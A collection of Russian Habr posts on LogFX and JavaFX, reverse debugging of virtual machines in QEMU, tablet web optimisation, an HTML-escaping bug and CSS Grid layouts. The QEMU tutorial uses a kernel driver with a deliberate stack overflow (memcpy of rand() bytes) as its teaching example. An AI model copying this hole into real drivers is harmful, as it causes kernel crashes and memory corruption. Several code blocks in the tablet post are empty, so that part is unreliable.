Созданное приложение LogFX, на мой взгляд, работает очень хорошо, и оно достигло поставленных целей по скорости работы и быстрому отклику, и в то же время оно хорошо выглядит на всех операционных системах без внесения изменений. Пожалуйста, посмотрите сами и выскажите свой мнение:
`curl -sSfL https://jcenter.bintray.com/com/athaydes/logfx/logfx/0.7.0/logfx-0.7.0-all.jar -o logfx.jar`
Хотя это полностью функциональное приложение, файл jar весит всего 303 килобайта. Это 0,3 МБ, включая несколько картинок и файл шрифта TTF, и ещё несколько файлов HTML и CSS, помимо файлов классов Java!
Конечно, приложение не включает саму виртуальную машину JVM, но JVM не является частью программы и может использоваться для многих приложений! В Java 9 вы можете вообще создавать нативные исполняемые файлы, включая в них только необходимые части JVM, так что если вашим пользователям не нравится простой jar, то упакуйте его как нативное приложение, как я показывал в [предыдущей статье](https://sites.google.com/a/athaydes.com/renato-athaydes/posts/guidetojava9-compilejarrun) (небольшое нативное приложение JVM займёт примерно 35 МБ или 21 МБ после оптимизации).
Для работы LogFX требуется около 50 МБ RAM (не для самого приложения, а в основном для JavaFX). В этом можно убедиться, запустив программу такой командой:
`java -Xmx50m -jar logfx.jar`
Это кардинально отличается от приложений Electron, которые обычно жрут 200 МБ уже в момент запуска.
JavaFX не идеальна и есть много областей, которые всё ещё нуждаются в улучшении. Одна из них — распространение и автоматическое обновление программ. Текущее решение, [JNLP и Java WebStart](https://docs.oracle.com/javase/tutorial/deployment/webstart/deploying.html), кажется [слабо реализованным](https://github.com/threerings/getdown/wiki/Rationale), хотя имеются альтернативы от сообщества, такие как [Getdown](https://github.com/threerings/getdown) и [FxLauncher](https://github.com/edvin/fxlauncher), а если вы хотите правильный нативный инсталлятор, то имеется и коммерческое решение [Install4J](https://www.ej-technologies.com/products/install4j/overview.html) (кстати, у Install4J есть [бесплатные лицензии](https://www.ej-technologies.com/buy/install4j/openSource/enter) для проектов open source).
Осталось много вещей насчёт JavaFX, которые у меня не нашлось времени упомянуть в этой и так уже длинной статье, но некоторые из них, я считаю, достойны дополнительного изучения, если вам интересно:
* [Привязывание свойств](http://docs.oracle.com/javafx/2/binding/jfxpub-binding.htm) позволяет легко внедрять реактивные UI.
* [Диаграммы на JavaFX](https://docs.oracle.com/javase/8/javafx/user-interface-tutorial/charts.htm) выглядят великолепно.
* [Поддержка 3D в JavaFX](https://docs.oracle.com/javase/8/javafx/graphics-tutorial/overview-3d.htm#CJAHFAHJ).
* Тестировочные фреймворки для JavaFX: [TestFX](https://github.com/TestFX/TestFX) и [Automaton](https://github.com/renatoathaydes/Automaton) (дисклеймер: я являюсь автором Automaton и работал с командой, которая изначально разработала TestFX).
* Демо-приложения [JavaFX Ensemble](http://www.oracle.com/technetwork/java/javase/overview/javafx-samples-2158687.html) показывают бóльшую часть возможностей JavaFX в реальной работе. | https://habr.com/ru/post/339382/ | null | ru | null |
# Обратная отладка виртуальных машин в QEMU
Обратная отладка - это как прокрутить фарш назад. Как запихнуть желток и белок обратно в скорлупу. ~~Как сделать доллар по 6 рублей.~~ В общем, она помогает нам находить источники сбоев в программах, перемещаясь "назад во времени" от места их возникновения.
Часто бывает, что сбой в программе происходит совсем не там, где программист реально допустил ошибку. Из-за этого исправлять ошибки, связанные с испорченной памятью, очень трудно. Обратная отладка (она же реверсивная отладка, она же time travel debugging) позволяет "отматывать" ход выполнения программы назад, чтобы посмотреть, что там делалось раньше. Для отдельных приложений такие функции уже были реализованы в gdb, Mozilla RR, WinDbg. Теперь можно делать то же самое и с виртуальными машинами целиком.
Когда мы отлаживаем виртуальную машину, можно изучать работу драйверов или ядра ОС, либо запускать системы без встроенных в них отладчиков. Для этого QEMU содержит эмулятор gdb сервера. То есть, к нему можно подключиться как к обычному отладочному серверу на другом компьютере, а потом отлаживать что угодно. Правда, есть одно ограничение - определять, какой процесс сейчас выполняется, придется самостоятельно, ни gdb, ни QEMU так не умеют.
Как работает обратная отладка
-----------------------------
Конечно же, не существует никакого способа выполнить программу в обратном направлении и вернуться в прошлое. Так же, как и узнать исходное значение *eax* после *xor eax, eax*. Поэтому работу программы (или виртуальной машины) приходится записывать. При этом обычно записываются не все-все инструкции, а только входные данные программы. А работа процессора считается детерминированной (да, пока что речь только об одноядерном случае).
После того, как всё записано во время настоящего выполнения программы, можно запускать её воспроизведение с этими же данными. С помощью записанного сценария можно будет сколько угодно раз воспроизводить проявившийся гейзенбаг, не боясь его упустить.
Записываем выполнение
---------------------
Чтобы записать выполнение работы виртуальной машины, в строке запуска QEMU нужно сделать следующее:
1. Включить запись сценария опцией -icount
2. Добавить опции для записи операций с диском
3. Добавить опции для записи входящих сетевых пакетов
Всё вместе это может выглядеть примерно вот так:
```
qemu-system-i386 \
-icount shift=auto,rr=record,rrfile=replay.bin \
-drive file=disk.qcow2,if=none,snapshot,id=img-direct \
-drive driver=blkreplay,if=none,image=img-direct,id=img-blkreplay \
-device ide-hd,drive=img-blkreplay \
-netdev user,id=net1 -device rtl8139,netdev=net1 \
-object filter-replay,id=replay,netdev=net1
```
После завершения работы эмулятора, появится файл replay.bin с записанным сценарием работы. Файл с образом диска изменён не будет, так как у него была указана опция snapshot. Это значит, что следующий запуск виртуальной машины начнётся с того же самого состояния диска, что и этот.
Немного про дискиНесмотря на то, что содержимое дисков не меняется от запуска к запуску благодаря опции snapshot, командная строка всё же содержит загрузку дополнительного драйвера, позволяющего корректно воспроизводить дисковые операции. Это всё из-за того, что QEMU - многопоточная программа. Дисковые операции могут завершаться в произвольный момент (и устраивать гонки). А прерывания должны каждый раз приходить одинаково, раз работа всей системы должна быть в точности воспроизведена. Вот и приходится устраивать шаманство в командной строке.
Запускаем воспроизведение и отладку
-----------------------------------
Запустить воспроизведение легко. Всего лишь нужно сменить слово record на replay. Сетевые опции менять не надо, хоть машина в этом режиме к сети подключаться и не будет.
```
qemu-system-i386 \
-icount shift=auto,rr=replay,rrfile=replay.bin \
-drive file=disk.qcow2,if=none,snapshot,id=img-direct \
-drive driver=blkreplay,if=none,image=img-direct,id=img-blkreplay \
-device ide-hd,drive=img-blkreplay \
-netdev user,id=net1 -device rtl8139,netdev=net1 \
-object filter-replay,id=replay,netdev=net1 \
-s
```
Кроме того, в этой командной строке появился ключ -s, позволяющий подключиться к виртуальной машине отладчиком. Для этого запускаем gdb, где вводим команду *target remote 127.0.0.1:1234* (или же, сокращённо, *tar rem :1234*).
После этого эмуляция приостановится, и мы сможем делать в отладчике что захотим: грабить память, смотреть регистры корованов и, конечно же, управлять выполнением кода. Правда, если не загрузить в отладчик никакой символьной информации, то будут доступны только ассемблерный листинг и перемещение по инструкциям процессора.
В тот момент, когда мы подключились отладчиком к виртуальной машине, в ней был создан полный снимок состояния. Теперь можно быстро вернуться туда, просто загрузив снимок. Но это ещё не всё! Этот же снимок может автоматически загружаться для выполнения команд "шаг назад" и "продолжить назад".
Перемещаемся назад во времени
-----------------------------
Чтобы пройти на один шаг вперёд, нужно выполнить команду *stepi* (или же просто *si*). Команда для шага назад называется *reverse-stepi* (или *rsi*). Работает это так. Вы даёте отладчику команду, он передаёт её эмулятору, эмулятор загружает более ранний снимок системы, а потом воспроизводит её работу до момента, предшествующего текущему шагу. Кстати, из этого следует, что за самый первый снимок зайти назад нельзя.
Если идти назад по одной инструкции, то до нужного места можно никогда не дойти. К счастью, есть команда *reverse-continue* (или *rc*). Правда, её не получится запустить и смотреть, как в песочных часах песок идёт вверх. Она предназначена для другого - искать, какая из точек останова (breakpoint, watchpoint) сработала бы последней, если бы программа выполнялась "нормально". Для этого опять используются снимки машины:
1. Загружается предшествующий снимок
2. Работа машины воспроизводится до текущего момента. При этом запоминаются те точки останова, которые бы могли сработать
3. Снова загружается предшествующий снимок
4. Если сработавших точек останова не было, эмулятор переходит к п.1 с более ранним снимком, либо останавливается, если снимки кончились
5. Снова воспроизводится работа машины, но уже до той точки, что срабатывала последней
Вот это и есть обратная отладка. С помощью неё можно найти, например, где интересующий нас указатель стал нулевым:
1. Ставим watchpoint на ячейку памяти, где хранится испорченный указатель
2. Выполняем reverse continue
3. ~~Profit!~~ Пристально смотрим на код, который нам этот указатель перезаписал
Конкретный пример
-----------------
Рассмотрим драйвер, предназначенный для обрушивания системы (выходит, что это не отладка, ведь драйвер уже налажен и систему обрушивает успешно). Обработчик запросов в нём копирует случайное число байт, что, конечно же, частенько приводит к kernel panic. В этом состоянии никакой отладчик в системе уже не работает.
```
long usbInfoIoctl(struct file *f, unsigned int cmd, unsigned long arg)
{
int i;
struct urb *urb;
char *buf, result[24];
struct usb_device *device;
...
/* Receive data from USB */
transmit_bulk_package(&urb, device, &buf, 36,
usb_rcvbulkpipe(device, 0x82), 0x00000201);
/* Some result processing */
memcpy(result, buf, rand());
for (i = 0; i < 24; i++)
printk(KERN_INFO "result[%i] = %c\n", i, result[i]);
...
return 0;
}
```
Конечно, ядро нам немножко помогает при падении, выдавая стек вызовов. И если мы достаточно умны, можно посмотреть в код, и исправить ошибку. Но этого хватает не всегда.
```
[938.289683] Kernel panic - not syncing; stack-protector:
Kernel stack is corrupted in: c89e93d0
[938.289741]
[938.293354] Pid: 2768, comm: test Tainted: G 0 3.2.0-4-686-pae
#1 Debian 3.2.65-l+deb7ul
[938.293853] Call Trace:
[938.296274] [<c12c0c2a>] ? panic+0x4d/0xl41
[938.298932] [<c1038576>] ? __stack_chk_fail+Oxd/Oxd
[938.301428] [<c89e93d0>] ? usbInfoIoctl+0x217/0x21d [usb_info]
[938.301782] [<c89e93d0>] ? usbInfoIoctl+0x217/0x21d [usb_info]
[938.302003] [<c10291ff>] ? kmap_atomic_prot+0x2f/OxeO
[938.302583] [<c10d9857>] ? do_vfs.ioctl+0x459/0x48f
[938.302784] [<c12c85a7>] ? do_page_fault+0x342/0x35e
[938.302972] [<c12c8594>] ? do_page_fault+0x32f/0x35e
[938.303173] [<c10cIf85>] ? kmem_cache_free+0xle/0x4a
[938.303445] [<c10cd5e7>] ? do_sys_open+0xc3/0xcd
[938.303642] [<c10d98d1>] ? sys.ioct1+0x44/0x67
[938.303829] [<c12c9edf>] ? sysenter_do_call+0x!2/0xl2
```
Запустим запись сценария в виртуальной машине. С помощью следующей команды можно узнать, по какому адресу загрузился наш модуль.
`cat /sys/module/usb_info/sections/.name`
После этого добьёмся, чтобы система упала (для этого мы использовали специально созданную программу, обращающуюся к драйверу). Теперь питание эмулятора можно отключить. Так как у нас есть полностью записанный ход выполнения эмулятора, можно отлаживать любой кусок этого сценария сколько угодно раз.
Загружаем в gdb символьную информацию о драйвере с помощью команды *add-symbol-file* и адреса, который выдала команда *cat*.
Наличие в выводе kernel panic вызова *\_stackchk\_fail* намекает нам на то, что содержимое стека было испорчено. Попробуем посмотреть, был ли перезаписан адрес возврата из функции. Для этого остановимся на последней её строке и поставим watchpoint на ту ячейку, где адрес возврата хранится.
После этого выполним команду *reverse-continue*. Вуаля! Мы остановились на строке, которая затирает адрес возврата и не даёт нам нормально выйти из функции:
`memcpy(result, buf, rand());`
Вот полный лог того, что происходило в отладчике:
```
(gdb) break 375
Breakpoint 1 at 0xc89e93ba: file
/home/user/kernelModule/usb_info.c, line 375.
(gdb) continue
Continuing.
Breakpoint 1, usbInfoIoctl (f=0xc5309f0c, cmd=3349205032,
arg=3310012224) at /home/user/kernelModule/usb_info.c:375
375 return 0;
(gdb) info frame
Stack level 0, frame at 0xc5309f34:
eip = 0xc89e93ba in usbInfoIoctl (/home/user/kernelModule/
usb_info.c:271); saved eip 0xc10d9857
called by frame at 0xc5567bf0
source language c.
Arglist at 0xc5309eec, args: f=0xc4f09b80, cmd=2147791873,
arg=3216111224
Locals at 0xc5309eec, Previous frame's sp is 0xc5309f34
Saved registers:
esi at 0xc5309f28, edi at 0xc5309f2c, eip at 0xc5309f30
(gdb) watch *0xc5309f30
(gdb) reverse-continue
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0xc89e939e in usbInfoIoctl (f=0xc5309f0c, cmd=3349205032,
arg=3310012224) at /home/user/kernelModule/usb_info.c:371
371 memcpy(result, buf, rand());
```
Ещё немного про снимки состояния машины
---------------------------------------
Если сценарий, который вы отлаживаете, достаточно длительный, можно насоздавать дополнительных снимков состояния виртуальной машины. Можно делать это прямо из gdb с помощью команды *monitor savevm* . Загрузить ранее созданные снимки можно командой *monitor loadvm* . Все эти снимки будут автоматически использоваться при выполнении команд обратной отладки.
Если создавать снимки машины так, чтобы они записывались в образ диска, то можно их будет использовать при повторных запусках воспроизведения работы. Чтобы это сделать, нужно убрать у диска опцию snapshot, и включить создание снимка системы при старте записи/воспроизведения. Подробности есть в документации к QEMU.
PS Официально обратная отладка появится в QEMU 5.2, разработка которой пока что не окончена. Но уже сейчас можно собрать эмулятор из [исходников](https://github.com/qemu/qemu) самостоятельно, чтобы попользоваться этими функциями. | https://habr.com/ru/post/522378/ | null | ru | null |
# Оптимизация сайта для планшетов
Интернет меняется, появляется все больше устройств с отличными от десктопа размерами экранов. Продажи планшетов [постоянно растут](http://www.gartner.com/newsroom/id/2408515), а это значит, что сегодня нельзя пренебрегать пользователями, использующих эти девайсы, необходимо оптимизировать сайты для удобного просмотра на планшетах.
#### Ускорение набора текста с помощью добавления спецсимволов
Можно менять дополнительные символы виртуальной клавиатуры на необходимые в каждом конкретном случае. Например при наборе обычного текста видим знаки препинания:
А при вводе адреса электронной почты меняем символы на необходимые:
Стандартная клавиатура:
```
```
URL-параметры:
```
```
Email-символы:
```
```
Цифровая клавиатура:
```
```
#### Отключение автокоррекции и начальных заглавных букв
Заполнение форм на виртуальной клавиатуре планшета имеет свои особенности. В частности при логине на многие сайты необходимо вводить свой email, и система пытается исправить его в соответствии со своим знанием словаря, а также начать строку с заглавной буквы. Чтобы этого не случалось, используем простой HTML-код в форме:
```
```
#### Правильное расположение блоков
Логика взаимодействия пользователя с сайтом на планшете отличается от десктопного. При проектировании интерфейса это необходимо учитывать, делая акцент на самых важных элементах. Вот один пример, где была изменена форма поиска на сайте интернет-магазина.
Слишком мелко:
Хорошо:
#### Изменение типографики
Вполне очевидная вещь: сайт нужно сделать хорошо читаемым на конкретном устройстве. Для планшетной версии необходимо увеличить текст. Также можно предложить пользователю самому менять размер текста. Ниже пример, слева — до оптимизации, справа — после:
#### Изменение размеров кнопок
На планшетах и смартфонах мы используем тач-управление, поэтому необходимо оптимизировать элементы навигации. Обычно это сводится к увеличению размеров кнопок и активной области клика.
#### Минимизация набора текста
Набирать текст на виртуальной клавиатуре не очень удобно, поэтому необходимо свести к минимуму необходимость такой работы для пользователя. В формах, например, можно использовать автозаполнение (по первым буквам названия или с помощью геолокации):
#### Тач-карусели
Если на сайте используется карусель изображений, она должна управляться тачем:
#### Отключение a:hover
В тач-устройствах отсутствует возможность удобного наведения курсора на объект, поэтому не стоит использовать такой способ взаимодействия с пользователем (На Хабре, кстати, это еще имеет место — всплывающие подсказки при наведении на оценку топика или комментария для просмотра баланса голосов)
#### Проектирование для альбомной и портретной ориентации экрана
Пользователи могут пользоваться планшетом и в альбомной, и в портретной ориентации при взаимодействии с сайтом. Поэтому необходимо это принимать во внимание при проектировании интерфейса.
#### Использование камеры
Планшеты открывают нам новые возможности: например при заполнении профиля можно предлагать пользователю сделать фото для аватара камерой планшета:
```
```
#### Скрытие адресной строки
При использовании планшета на счету каждый пиксель, поэетому можно скрыть адресную строку (в Safari) для увеличения полезной площади экрана:
```
```
#### Полезное чтиво и использованный материал
* [5 Easy Tablet Optimizations You Can Make on Your Website Right Now](http://www.mobify.com/blog/5-easy-tablet-optimizations-you-can-make-on-your-website-right-now/)
* [5 Easy Ways To Optimize Your Website For Mobile](http://www.firebellymarketing.com/2011/08/5-easy-ways-website-optimize-mobile.html)
* [Tablet Web Design: Best Practices](https://s3.amazonaws.com/downloads.mobify.com/ebooks/Tablet-Web-Design-Guide-Mobify.pdf)
* [Responsive Navigation: Optimizing for Touch Across Devices](http://www.lukew.com/ff/entry.asp?1649)
* Вебинар [Tablet Growth and Evolution in 2013](http://my.gartner.com/portal/server.pt?open=512&objID=202&mode=2&PageID=5553&ref=webinar-rss&resId=2507515&srcId=1-2913883017)
* [White Paper: Optimize Your Website for iPads and Other Tablets](http://www.mobify.com/blog/optimize-your-website-for-ipads-and-other-tablets/)
* [User Experience Coding How-To's for Safari on iPhone](http://developer.apple.com/library/safari/#codinghowtos/Mobile/UserExperience/_index.html), добавил [Juggler](http://habrahabr.ru/users/juggler/)
. | https://habr.com/ru/post/187536/ | null | ru | null |
# Избыточный эскейпинк
Проблема на страницах типа [habrahabr.ru/blogs/GreaseMonkey](http://habrahabr.ru/blogs/GreaseMonkey/) и [elv1s.habrahabr.ru/blog](http://elv1s.habrahabr.ru/blog/)
`` превращается в
`cripts.ru/i/greasemonkey-prototype.png">`
На странице самого поста всё нормально [habrahabr.ru/blogs/GreaseMonkey/74309](http://habrahabr.ru/blogs/GreaseMonkey/74309/) | https://habr.com/ru/post/90710/ | null | ru | null |
# CSS Grid: Верстаем адаптивный журнальный макет в 20 строк
Недавно я работал над современной реализацией блогролла (перечня внешних полезных/интересных блогов). Замысел был в том, чтобы предоставить читателям подборку из последних постов в этих блогах, упакованную в журнальную вёрстку, а не сухой список ссылок в сайдбаре.
Самая простая часть задачи — получение списка постов и их эксцерптов (эксцерпт — вступительный текст до ката) с наших любимых RSS–фидов. Для этого мы воспользовались WordPress-плагином [Feedzy lite](https://en-gb.wordpress.org/plugins/feedzy-rss-feeds/), который умеет агрегировать несколько фидов в один список, отсортированный по времени — идеальное решение в нашем случае. Трудная же часть в том, чтобы сделать всё красиво.
Стандартный интерфейс списка у плагина, пожалуй, безвкусный, так что я захотел стилизовать его под сайт газеты или журнала со смесью больших и маленьких «избранных» блоков.
Звучит как идеальный случай, чтобы воспользоваться CSS Grid! Создаём Grid Layout для разных макетов, скажем, один пятиколоночный и один трёхколоночный, а затем переключаемся между ними с помощью медиа-запросов на разных размерах экрана. Верно? Но нужны ли нам на самом деле эти медиа-запросы, и вся эта морока с определением контрольных точек, если можно просто использовать параметр Grid `auto-fit`, который сделает адаптивную сетку за нас?
Эта идея мне показалась заманчивой, но когда я начал добавлять элементы, охватывающие несколько колонок сетки (***спаны***), сетка начала вылезать за пределы страницы на узких экранах. Медиа-запросы казались единственным решением. Но я нашёл кое-что получше!
Изучив некоторое количество статей по CSS Grid, я обнаружил, что они в основном делятся на два типа:
1. Как создать интересный макет со спанами, но с заданным количеством колонок.
2. Как создать *адаптивный* макет на Grid, но с колонками одинаковой ширины (т.е. без спанов).
Я же хочу, чтобы сетка реализовала и то, и то: полностью адаптивный макет с использованием адаптивно меняющих размер многоколоночных элементов.
Прелесть в том, что как только начинаешь понимать ограничения адаптивных сеток и почему и когда спаны ломают адаптивность, нетрудно создать журнальный макет **в несколько десятков строк кода** и один медиа-запрос (или вообще без них, если хочешь ограничить разнообразие спанов).
Вот наглядное сравнение RSS плагина из коробки и результата нашей работы (кликабельно):
[](https://rosemarycottageclinic.co.uk/blog/world-nutrition-news/)
Это полностью адаптивный журнальный макет с цветными «избранными» блоками, которые динамически подстраиваются под макет в зависимости от количества колонок. Страница отображает около 50 постов, но код макета не зависит от количества элементов. Можно запросто увеличить количество постов до 100 в настройках плагина, и макет останется интересным до самого низа.
Всё это достигается исключительно за счёт CSS и с использованием всего одного медиа-запроса для отображения контента в одну колонку на самых узких экранах (меньше 460 пикс.).
Что самое невероятное, на весь макет понадобилось всего 21 строка CSS (не считая общих стилей сайта). Однако, чтобы достичь такой гибкости, используя так мало кода, мне пришлось глубоко погрузиться в самые тёмные глубины CSS Grid и узнать как обойти некоторые его ограничения.
Код, на котором держится весь макет, невероятно короток, и всё благодаря великолепию CSS Grid:
```
.archive {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(210px, 1fr));
grid-gap: 32px;
grid-auto-flow: dense;
}
/* Широкие блоки постов */
.article:nth-child(31n + 1) {
grid-column: 1 / -1;
}
.article:nth-child(16n + 2) {
grid-column: -3 / -1;
}
.article:nth-child(16n + 10) {
grid-column: 1 / -2;
}
/* Одноколоночное отображение на мобильных */
@media (max-width: 459px) {
.archive {
display: flex;
flex-direction: column;
}
}
```
Описанную в этой статье технику можно спокойно использовать для стилизации любого динамически генерируемого контента, будь то вывод виджета последних записей, страницы архивов или результаты поиска.
Создание адаптивной сетки
-------------------------
Я создал 17 элементов для демонстрации всего разнообразия будущего контента — заголовки, картинки, и эксцерпты, и обернул в
```
```
Код для превращения этих элементов в адаптивную сетку особенно компактен:
```
.archive {
/* Объявляем элемент в качестве контейнера-сетки */
display: grid;
/* Автоматически уместить как можно больше элементов в строке, не переходя нижнюю границу ширины в 180 пикс. */
grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
/* Небольшие отступы между постами */
grid-gap: 1em;
}
```
[**→ Демо на CodePen**](https://codepen.io/Everybodyknows/pen/xxbjjOJ)
Обратите внимание, как высота строк автоматически подстраивается под самый высокий блок контента в строке. Если вы измените ширину в демо по ссылке выше, вы увидите, что элементы увеличиваются и уменьшаются автоматически и количество колонок меняется от 1 до 5, соответственно.
Здесь в действии мы видим магию CSS Grid под названием `auto-fit`. Это ключевое слово работает совместно с функцией `minmax()`, применённой к `grid-template-columns`.
Как это работает
----------------
Сам по себе пятиколоночный макет можно получить вот так:
```
.archive {
display: grid;
grid-template-columns: repeat(5, 1fr);
}
```
Однако, таким образом создаётся пятиколоночный макет, который растягивается и сжимается на разной ширине экрана, но при этом всегда остаётся пятиколоночным, что приводит к ужасно узким колонкам на маленьких экранах. Первым в голову приходит написать кучку медиа-запросов и переопределить сетку с разным количеством колонок. Это бы сработало, но ключевое слово `auto-fit` делает всё это автоматически.
Чтобы `auto-fit` так, как нам нужно, необходимо воспользоваться функцией `minmax()`. Таким образом мы как бы говорим браузеру, насколько сильно можно сжать колонки, и насколько сильно растянуть. При достижении одной из границ, количество колонок возрастает или уменьшается соответственно.
```
.archive {
grid-template-columns: repeat (auto-fit, minmax(180px, 1fr));
}
```
В этом примере браузер будет пытаться вместить как можно больше колонок шириной в 180 пикс. Если остаётся лишнее место, все колонки расширятся, разделив его между собой поровну. Именно это и диктует значение `1fr`: сделать размеры колонок равными долями (**fr**actions) доступной ширины.
Если растянуть окно браузера, все колонки будут одинаково расти с увеличением появившегося свободного пространства. Как только новообретённое пространство достигнет 180 пикс., на его месте появляется новая колонка. А если уменьшить окно браузера, всё происходит наоборот, идеально подгоняя сетку вплоть до превращения в одноколоночный макет. Магия!
[**→ Видеодемонстрация**](https://css-tricks.com/wp-content/uploads/2020/02/responsive-grid-no-mqs.mov)
И вся эта адаптивность благодаря одной строчке кода. Ну круто же?
Создание спанов с помощью “autoflow: dense”
-------------------------------------------
Итак, на данный момент у нас уже есть адаптивная сетка, вот только все её элементы — одинаковой ширины. Макет газеты или журнала предполагает наличие избранных блоков, в этом контексте, таких, которые бы охватывали две, три, а то и все доступные колонки.
Для создания многоколоночных спанов мы можем воспользоваться свойством `grid-column: span` в тех элементах, которые должны занимать больше места. Допустим, мы хотим, чтобы третий элемент списка был шириной в две колонки:
```
.article:nth-child(3) {
grid-column: span 2;
}
```
Однако, после добавления спанов может появиться немало проблем. Во-первых, в сетке могут образоваться «дырки» в тех случаях, когда широкий элемент не помещается на свою строку и `auto-fit` переносит его на следующую:
Это легко исправить, добавив свойство `grid-auto-flow: dense` к сетке. Благодаря этому свойству браузер понимает, что дырки надо заполнить другими элементами. Таким образом создаётся обтекание более широких элементов более узкими:
Обратите внимание: порядок элементов нарушен, теперь четвертый элемент встал перед третьим. Насколько я знаю, обойти это никак нельзя, это одно из ограничений CSS Grid, которые нужно принять.
Способы определить спаны
------------------------
Есть несколько способов указать количество колонок, которые элемент должен занять. Проще всего применить `grid-columns: span [n]` к одному из элементов, где `n` — количество колонок, которые элемент будет занимать. Третьему элементу в нашем макете прописано свойство `grid-column: span 2`, что объясняет, почему его ширина в два раза больше других элементов.
Для использования других методов необходимо [точно указывать линии сетки (grid lines)](https://css-tricks.com/things-ive-learned-css-grid-layout/#article-header-id-3). Линии сетки нумеруются следующим образом:
Линии сетки можно указывать слева на право с помощью положительных чисел (например, 1, 2, 3), или справа на лево с помощью отрицательных чисел (-1, -2, -3). Их можно использоваться для размещения элементов в сетке с помощью свойства `grid-column`, вот так:
```
.grid-item {
grid-column: (начальная линия) / (конечная линия);
}
```
Итак, линии сетки расширяют наши возможности определения спанов. Гибкости прибавляет возможность заменить начальное или конечное значение ключевым словом `span`. Например, трёхколоночный синий блок в примере выше можно создать, применив любое из этих свойств к восьмому элементу сетки:
* `grid-column: 3 / 6`
* `grid-column: -4 / -1`
* `grid-column: 3 / span 3`
* `grid-column: -4 / span 3`
* `grid-column: span 3 / -1`
* и т.д.
В неадаптивной сетке (т.е. с фиксированным числом колонок), каждое из этих свойств даёт один и тот же результат (как в примере с синим блоком выше). Но если сетка адаптивная и количество колонок меняется, разница становится весьма заметной. Некоторые спаны ломают макет с включённым автоматически обтеканием, из-за чего кажется, что эти два решения несовместимы. К счастью, некоторые хитрости позволят нам благополучно их совместить.
Но для начала нам нужно разобраться в проблеме.
Проблемы с горизонтальной прокруткой
------------------------------------
Вот несколько «избранных элементов», созданных с использованием метода линий сетки (кликабельно):
[](https://codepen.io/Everybodyknows/pen/xxbjPQp)
На всей ширине (пять колонок) всё выглядит хорошо, но если уменьшить экран до размера, при котором как бы должно быть две колонки, макет ломается таким образом:
Как видите, наша сетка утратила свою адаптивность и, хоть контейнер и сжался, сетка пытается поддерживать все пять колонок. Для этого она продолжает пытаться одинаковую ширину колонок и в итоге выходит за пределы своего контейнера справа. От этого и появляется горизонтальная прокрутка.
Почему так происходит? Проблема возникает из-за того, что браузер пытается соответствовать нашим точным указаниям линий сетки. На этой ширине, `auto-fit` сетка должна отображать только две колонки, но наша система нумерации линий стеки противоречит этому, обращаясь конкретно к пятой линии. Это противоречие и приводит к беспорядку. Чтобы правильно отобразить нашу подразумеваемую двухколоночную сетку, можно использовать только номера 1, 2, 3 и -3, -2, -1, вот так:
Но если один из элементов нашей сетки содержит указания `grid-column` вне этих пределов, скажем 4, 5 или -6, браузер получает неоднозначные указания. С одной стороны, мы просим автоматически создать гибкие колонки (которых должно — неявно — остаться две на этой ширине экрана). С другой стороны, мы явно сослались на линии сетки, которых не может существовать в двухколоночном формате. Когда появляется противоречие между неявными (автоматическими) колонками и явно определённым их количеством, **сетка всегда отдаёт предпочтение явному определению**. Так появляются нежелательные колонки и горизонтальный оверфлоу (что говоряще назвали [CSS data loss](https://css-tricks.com/overflow-and-data-loss-in-css/)). Спаны как и номера линий сетки могут создавать явное определение колонок. grid-column: span 3 (восьмой элемент сетки в демо) заставляет сетку явно иметь как минимум три колонки, несмотря на то, что мы хотим две неявных.
Может показаться, что единственный вариант — использовать медиа-запросы, чтобы изменять значения `grid-column` на нужной ширине… но не спешите! Я тоже так думал поначалу. Но, немного поразмыслив и поигравшись с разными настройками, я обнаружил, что есть некоторые пути обхода этой проблемы, благодаря которым у нас всё ещё только один медиа-запрос для самых узких устройств.
Решения
-------
Как выяснилось, хитрость в том, чтобы определять спаны используя только номера линий, которые доступны для самой узкой сетки из планируемых к отображению. В данном случае, речь идёт о двухколоночной сетке (напоминаю, для одноколоночного отображения мы используем медиа-запрос). Таким образом, можно безопасно пользоваться номерами 1, 2, 3 и их отрицательными парами не ломая сетку.
Сначала я подумал, что так я ограничусь шириной спана в две колонки, используя эти комбинации чисел:
* `grid column: span 2`
* `grid-column: 1 /3`
* `grid-column: -3 / -1`
Которые остаются идеально адаптивными вплоть до двух колонок:
[Хоть это и работает](https://codepen.io/Everybodyknows/pen/dyPegoo), с точки зрения дизайна это серьёзное ограничение, и не слишком радужное. Я хотел делать спаны шириной в три, четыре или даже пять колонок на широких экранах. Но как? Моей первой мыслью снова было вернуться к медиа-запросам (омг, от старых привычек трудно избавиться), но всё же я попытался избежать этого подхода и взглянуть на адаптивный дизайн под другим углом.
Снова взглянув на список доступных чисел, я внезапно понял, что положительные и отрицательные номера в начальных и конечных значениях `grid-column` можно комбинировать, например `1/-3` и `2/-2`. Казалось бы, ничего интересного. Но так уже не кажется, когда понимаешь положение линий после изменения размера сетки: спаны меняют ширину в соответствии с шириной экрана. Открывается целая куча новых возможностей для адаптивных спанов, в частности, элементы, которые охватывают разное количество колонок с изменением ширины экрана, без всяких медиа-запросов.
Первый обнаруженный мною пример — `grid-column: 1/-1`. Это свойство превращает элемент в баннер во всю ширину, заполняющий все колонки с первой по последнюю, даже когда колонка всего одна!
Используя `grid-column: 1/-2`, можно создать спан «почти во всю ширину», который заполняет все колонки слева направо, кроме последней. В двухколоночном макете такой спан адаптивно превращается в обычный элемент в одну колонку. Что удивительно, работает даже при сжатии макета до одной колонки. (Кажется, причина в том, что сетка не станет уменьшать элемент до нулевой ширины и поэтому он остаётся шириной в одну колонку, как в случае с `grid-column: 1/1`.) Я предположил, что `grid-column: 2/-1` должен работать так же, только оставлять одну колонку нетронутой слева, а не справа. Оказался почти прав, при сжатии макета до одной колонки оверфлоу всё же возникает.
Затем я попробовал комбинацию `1/-3`. Сработало хорошо и на широких экранах — заполняя как минимум три колонки, — и на узких — заполняя только одну. Я думал, что с двухколоночной сеткой получится нечто странное, поскольку поскольку первая линия сетки та же, что и линия под номером `-3`. К моему удивлению, элемент отображается верно, в одну колонку.
После многочисленных экспериментов я выяснил, что есть 11 подходящих значений `grid-column` из доступных в двухколоночной сетке. Три из них работают даже в одноколоночном макете. Семь других правильно работают вплоть до двух колонок и для правильного отображения в одной колонке им понадобится всего один медиа-запрос.
Вот полный список:
Демонстрация адаптивных значений grid-column на разных размерах экранах в сетке auto-fit. (*[Демо](https://codepen.io/Everybodyknows/full/QWwZGdE)*)
В общем, несмотря на довольно ограниченное подмножество адаптивных спанов, возможностей немало.
